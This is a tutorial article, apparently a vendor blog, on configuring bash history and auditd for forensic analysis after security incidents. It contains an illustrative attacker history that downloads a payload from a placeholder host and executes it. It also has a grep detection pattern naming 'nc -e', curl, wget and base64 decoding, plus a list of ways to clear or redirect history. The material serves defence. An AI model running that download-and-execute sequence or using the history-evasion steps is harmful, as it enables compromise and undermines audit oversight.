and analyzing it forensically after a security incident
Bash history is often the first data source an administrator checks after a security incident. Configured correctly with HISTFILE, HISTSIZE and HISTTIMEFORMAT, it provides a timeline of executed commands. But relying on it alone overlooks that any user with shell access can clear or manipulate their own history at any time, which is why auditd belongs in every serious hardening effort as an independent complement.
Table of Contents
- 1. What bash history is and what it is good for in an incident
- 2. Configuring HISTFILE, HISTSIZE and HISTFILESIZE correctly
- 3. HISTTIMEFORMAT: enabling timestamps for forensic analysis
- 4. HISTCONTROL and HISTIGNORE: avoiding gaps in the record
- 5. Forensically analyzing bash history after a security incident
- 6. Limits of bash history: manipulation and deletion
- 7. Command logging to syslog: PROMPT_COMMAND as a complement
- 8. auditd as an independent complement to bash history
- 9. Bash history, syslog forwarding and auditd compared
- 10. Summary
- 11. FAQ
1. What bash history is and what it is good for in an incident
During every interactive session, Bash keeps a list of typed commands in memory and writes that list to a file referenced by the HISTFILE variable when the shell exits normally, by default ~/.bash_history. For an individual user this is mostly a convenience feature: pressing the up arrow or Ctrl+R quickly retrieves an earlier command without retyping it.
For system security, the same file doubles as one of the richest sources available when investigating an incident, because it shows in plain text which commands a user or attacker actually issued through an interactive shell. Whether that source actually pays off in an emergency, however, is decided long before, namely by how HISTFILE, HISTSIZE and HISTTIMEFORMAT were configured before any incident ever happened.
2. Configuring HISTFILE, HISTSIZE and HISTFILESIZE correctly
Two variables control how many commands Bash actually retains: HISTSIZE caps the number of entries held in memory during the running session, and HISTFILESIZE caps the number of lines actually written to disk in HISTFILE. Many distributions default to only 500 to 1000 lines, which is usually far too little for forensic analysis because relevant commands get overwritten long before anyone looks.
For production servers, it pays to raise HISTSIZE and HISTFILESIZE significantly, for example to 100000 and 200000 lines respectively, and to place that setting centrally in /etc/profile.d/ rather than in each user's individual ~/.bashrc. That way the hardening applies to every interactive shell on the system, regardless of whether an individual user ever touched their personal configuration.
# /etc/profile.d/history-hardening.sh
# System-wide baseline for every interactive bash session
export HISTSIZE=100000
export HISTFILESIZE=200000
# Write a timestamp before every history entry
export HISTTIMEFORMAT='%F %T '
# Do not ignore any command -- forensics needs every line
unset HISTCONTROL
unset HISTIGNORE
3. HISTTIMEFORMAT: enabling timestamps for forensic analysis
Without HISTTIMEFORMAT, Bash stores only the command text for each entry, no time information at all. A history without timestamps is nearly useless for a timeline, because a suspicious command cannot be related to login times from auth.log or other log sources. Internally, once HISTTIMEFORMAT is active, Bash writes a comment with the Unix epoch timestamp before each command line into the file, which history then displays according to the configured format.
It matters that HISTTIMEFORMAT only affects commands written while the variable is set. Lines already present in HISTFILE without a timestamp stay as they are and cannot be retroactively dated. The variable therefore needs to be active from the very start of every session, for example through the central profile file from the previous section, for it to actually pay off in an emergency.
export HISTTIMEFORMAT='%F %T '
history | tail -5
# 42 2026-08-04 09:12:03 curl -o payload http://example.invalid/x
# 43 2026-08-04 09:12:07 chmod +x payload
# 44 2026-08-04 09:12:08 ./payload
# Extract timestamp and command pairs for a script
history | awk '{print $2, $3, $0}' | sort
4. HISTCONTROL and HISTIGNORE: avoiding gaps in the record
HISTCONTROL=ignorespace makes Bash skip recording any command that starts with a space, a trick many users deliberately use to keep sensitive commands like password arguments on the command line out of the history. For personal convenience that is understandable, but for the forensic traceability of a server it is exactly the gap an attacker exploits once they know the option is active.
On production systems where accountability matters more than individual convenience, HISTCONTROL and HISTIGNORE should stay quietly but deliberately disabled, as shown with unset in the earlier example script. Anyone who prioritizes convenience instead should at least be aware which commands their own configuration keeps out of the history, so that gap is not overlooked during a later analysis.
5. Forensically analyzing bash history after a security incident
In practice, the analysis starts by collecting the .bash_history of every user, including root and any service account with an interactive shell, and merging them with timestamps from auth.log, last, and any relevant application logs into one shared timeline. Typical suspicious patterns are downloads via curl or wget followed by chmod +x and immediate execution, base64-decoded payloads, or sudden privilege escalation through sudo with unusual target commands.
An often-overlooked detail concerns the order of data collection: by default, Bash only writes the history to the file when the shell exits normally, so a still-running interactive session keeps its most recent commands exclusively in the memory of that shell process. During a live incident-response investigation, it therefore pays to force an immediate flush to the file with history -a whenever possible, before terminating a suspicious session and losing that data.
#!/usr/bin/env bash
set -euo pipefail
# Collect every bash history on the system and grep for suspicious patterns
for f in /root/.bash_history /home/*/.bash_history; do
[[ -r "$f" ]] || continue
echo "=== $f ==="
grep -E 'curl|wget|base64 -d|chmod \+x|nc -e' "$f" || true
done
# Force the running session to flush to the file before it ends
history -a
6. Limits of bash history: manipulation and deletion
Bash history is fundamentally a client-side log controlled by the user themselves. A user with shell access can set HISTFILE=/dev/null, remove the variable entirely with unset HISTFILE, clear the in-memory list with history -c, or delete the file directly with rm or shred. Anyone relying solely on bash history as evidence after an incident is relying on a source controlled by exactly the person whose actions are being investigated.
Even the hardening described earlier, with HISTSIZE, HISTFILESIZE and HISTTIMEFORMAT, can be overridden at any time within a user's own session, a simple export HISTFILE=/dev/null at the start of a session is enough to undo any earlier default. These measures raise the bar against casual cleanup, but do not stop a deliberate attacker who knows exactly what to look for.
7. Command logging to syslog: PROMPT_COMMAND as a complement
A common complement is forwarding every issued command to syslog via PROMPT_COMMAND. Bash runs PROMPT_COMMAND before displaying every prompt, effectively after each completed command, and it can use logger to write a line with user, working directory and the last command into a system log the ordinary user typically has no write access to.
The key advantage over plain bash history is that /var/log is usually root-protected, while a user's own .bash_history belongs to that same user. The catch: PROMPT_COMMAND is itself just an ordinary shell variable that the same user can override or clear within their own session, which means this measure only adds real value when enforced system-wide, and even then it still depends on the shell layer.
# /etc/profile.d/history-syslog.sh
export PROMPT_COMMAND='logger -p local1.notice -t bash_audit \
"user=$(whoami) pwd=$(pwd) cmd=$(history 1 | sed "s/^[ ]*[0-9]*[ ]*//")"'
8. auditd as an independent complement to bash history
The Linux Audit Framework auditd operates a level deeper than any shell configuration: it observes execve() calls directly in the kernel, logging every started process regardless of which shell, script or interpreter triggered it. Neither unset HISTFILE nor a manipulated PROMPT_COMMAND can bypass this recording, because it happens outside the control of the user's process.
Particularly valuable for attribution is the AUID field (audit user ID), which records the original login user and does not change through sudo or su, unlike the classic effective user ID that can vary afterward. For regulated environments or serious incident-response capability, auditd is therefore not a replacement but a necessary complement to bash history, one that requires more operational effort for log rotation and analysis but actually delivers evidence that holds up.
# Log every process execution on x86_64
auditctl -a always,exit -F arch=b64 -S execve -k exec_log
# Analysis: every logged command of a user since a given point in time
ausearch -k exec_log -ua 1000 --start 08/04/2026 08:00:00 | aureport -i
9. Bash history, syslog forwarding and auditd compared
None of the three approaches fully replaces the others: bash history is convenient and available instantly without extra software, but manipulable by the user. Syslog forwarding via PROMPT_COMMAND raises the bar but stays shell-bound and thus bypassable. auditd is robust at the kernel level but needs configuration effort and its own log maintenance. For evidence that holds up, all three layers should be combined, with auditd as the authoritative source.
| Mechanism | Manipulable by the user | Storage location | Typical use |
|---|---|---|---|
Bash history (HISTFILE) |
Yes, at any time by the user | ~/.bash_history |
Quick first look, convenience feature |
Syslog forwarding (PROMPT_COMMAND) |
Yes, within the user's own session | /var/log, root-protected |
Extra hurdle, still shell-bound |
auditd (execve auditing) |
No, kernel level | /var/log/audit/audit.log |
Evidence that holds up, compliance |
| Central SIEM/log forwarding | No, mirrored externally instantly | External system, off the host | Tamper resistance even under root compromise |
Mironsoft
Shell automation, DevOps tooling and deployment infrastructure
Shell scripts that hold up in production?
We review existing Bash scripts, spot fragile patterns and replace them with robust Bash patterns: complete error handling, logging and safe parallelization for your deployment stack.
Code Review
ShellCheck analysis and manual review for critical Bash pattern violations.
Refactoring
Retrofitting error handling, logging and safe file operations.
CI Integration
Wiring ShellCheck and BATS into pipelines and building regression tests.
10. Summary
Bash History and Forensics: The Essentials at a Glance
Configuration
HISTSIZE, HISTFILESIZE and HISTTIMEFORMAT belong centrally in /etc/profile.d, not in each user's individual .bashrc.
Forensics
Collect every .bash_history file, correlate with auth.log, and use history -a to flush running sessions before analysis.
Limits
Any user with shell access can clear, redirect or delete HISTFILE. History is not tamper-proof evidence.
Complement
auditd logs execve() at the kernel level and cannot be disabled from the shell, ideal for evidence that holds up.